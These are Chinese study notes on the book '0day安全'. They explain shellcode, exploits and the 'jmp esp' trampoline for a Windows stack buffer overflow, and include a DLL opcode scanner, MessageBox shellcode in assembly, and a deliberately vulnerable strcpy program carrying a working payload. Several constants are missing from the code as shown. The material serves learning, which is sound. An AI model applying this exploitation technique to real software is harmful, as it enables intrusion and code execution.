0x00 Shellcode概述
-
Shellcode與exploit
1) shellcode:緩沖區攻擊中植入程序的代碼。進行删改檔案、竊取資料、上傳木馬并運作、格式化硬碟等。用彙編語言編寫,并轉換成二進制機器碼,内容和長度受到苛刻限制。
2) exploit: 漏洞利用程式,用于生成攻擊性的網絡資料包或其他形式的攻擊性輸入。exploit的核心是淹沒傳回位址,劫持程序控制權,跳去執行shellcode
3) 差別:shellcode具有一定的通用性,exploit針對特定漏洞
0x01 定位shellcode
- 漏洞利用過程中,由于動态連結庫的裝入和解除安裝等原因,Windows程序的函數棧幀可能産生移位,即shellcode在記憶體中的位址是動态變化的,是以需要exploit在運作時動态定位棧中的shellcode。
-
函數傳回步驟
1) 儲存傳回值:函數傳回值儲存在EAX寄存器
2) 彈出目前棧幀,恢複上一個棧幀
a) ESP + 目前棧幀大小:堆棧平衡基礎上,降低棧頂,回收目前棧幀空間
b) POP EBP:前棧幀EBP彈給EBP,恢複上一個棧幀
c) POP EIP:函數傳回位址彈給EIP
3) 跳轉:按EIP的值傳回母函數繼續執行
由函數調用過程可知,一般情況下,ESP中位址總是指向系統棧且不會被溢出的資料破壞。函數傳回時,ESP所指的位置是淹沒的傳回位址的下一位(子函數平衡棧ret n時,ESP将指向下n位)。
-
可用”jmp esp”作為跳闆動态定位shellcode
1) 用記憶體中任意一個”jmp esp”的位址覆寫傳回位址
2) 函數傳回後被重定向去執行記憶體中jmp esp指令
3) 由于函數傳回後ESP指向傳回位址後,jmp esp執行後,CPU将到棧區函數傳回位址之後的地方取指令執行
4) shellcode的布置。緩沖區前面一段用任意資料填充,把shellcode放在函數傳回位址後面。jmp esp執行完就執行shellcode。
-
擷取跳闆的位址
1) 一些經常被用到的動态連結庫會被映射到記憶體,如kernel.32.dll、user32.dll會被幾乎所有程序加載,且加載基址始終相同(不同OS上可能不同)。所有這裡使用user32.dll中的jmp esp作為跳闆。
2) 程式設計搜尋jmp esp的記憶體位址。搜尋得到以下位址,從中選取0x77d93acc作為定位shellcode的跳闆覆寫函數傳回位址。
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit();
}
ptr = (BYTE*)handle;
for(position = ; !done_flag; position++)
{
try
{
if(ptr[position] == && ptr[position+] == )
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
}
-
shellcode功能需求
1) 調用MessageBox實作彈窗
a) 裝載user.dll動态連結庫,MessageBox是user32.dll的導出函數
b) 獲得函數入口位址,用Dependency Walker打開一個圖形界面程式,找到user.dll的基址為0x77D10000,MessageBoxA的偏移位址為0x000407EA,故入口位址為0x77D507EA。
c) 向棧中壓入MessageBoxA的4個參數
2) 為程式避免堆棧不平衡導緻崩潰,調用exit函數讓程式正常退出。用Dependency Walker找出ExitProcess函數(Kernel32.dll的導出函數)入口位址,0x7C81CDDA。
int MessageBox
( HWND, //handle to owner window
LPCTSTR, //text in message box
LPCTSTR, //message box title
UINT //message box style
)
-
shellcode彙編代碼
用EBX清零後入棧作為”failwest”截斷符是為了避免PUSH 0中的NULL,否則植入的機器碼會被strcpy函數截斷。
#include <windows.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp,
xor ebx,ebx
push ebx // cut string
push
push //push “failwest”
mov eax,esp //load address of failwest
push ebx // Messagebox (,failwest,failwest,)
push eax
push eax
push ebx
mov eax, //() address should be reset in different OS
call eax //call MessageboxA
push ebx
mov eax, //() address should be reset in different OS
call eax //call exit()
}
}
- 将shellcode彙編代碼在VC中編譯得到的.exe檔案放到OllyDbg中調試獲得機器碼,組織好并放入exploit中。傳回位址\xCC\x3A\xD9\x77前填充資料量32bytes = 24(buffer) + 4(authenticated) + 4(EBP)
#include"stdio.h"
#include"string.h"
#include <windows.h>
#define PASSWORD "1234567"
char password[1024] = "\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31"
"\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31"
"\x34\x33\x32\x31\x34\x33\x32\x31\xCC\x3A\xD9\x77"
"\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69"
"\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77"
"\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";
int verify_password (char *password)
{
int authenticated;
char buffer[22];// add local buff
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
void main()
{
int valid_flag=0;
LoadLibrary("user32.dll");//prepare for messagebox
while(1)
{
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
break;
}
}
}
-
原了解釋:
1) 拷貝前後棧中變量分布:
拷貝前:
拷貝後: 2) 函數傳回到jmp esp 此時ESP的值為0x0012FB2C 3) 執行jmp esp,CPU将取shellcode指令執行 4) 運作結果:彈窗并正常退出而不報錯。
——《0day安全》學習筆記